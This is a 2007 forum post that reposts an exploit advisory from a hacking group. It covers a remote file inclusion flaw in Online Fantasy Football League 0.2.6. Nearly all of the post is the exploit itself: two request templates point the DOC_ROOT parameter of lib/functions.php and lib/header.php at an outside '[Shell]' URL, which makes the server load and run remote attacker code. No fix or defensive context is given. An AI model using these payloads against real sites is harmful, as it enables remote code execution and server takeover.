Ras Posted September 8, 2007 Report Posted September 8, 2007 --------------------------------------------------------------- ____ __________ __ ____ __ /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ | | | \ | |/ \ \___| | /_____/ | || | |___|___| /\__| /______ /\___ >__| |___||__| \/\______| \/ \/ --------------------------------------------------------------- [url]Http://www.inj3ct-it.org[/url] Staff[at]inj3ct-it[dot]org --------------------------------------------------------------- Multiple Remote File Inclusion Vulnerability --------------------------------------------------------------- # Author: MhZ91 [email]nobody.91@hotmail.it[/email] # Download Script: [url]http://sourceforge.net/projects/offl/[/url] Online Fantasy Football League 0.2.6 # Exploit: # [url]http://[target]/[/url][path]/lib/functions.php?DOC_ROOT=[Shell] # [url]http://[target]/[/url][path]/lib/header.php?DOC_ROOT=[Shell] --------------------------------------------------------------- Quote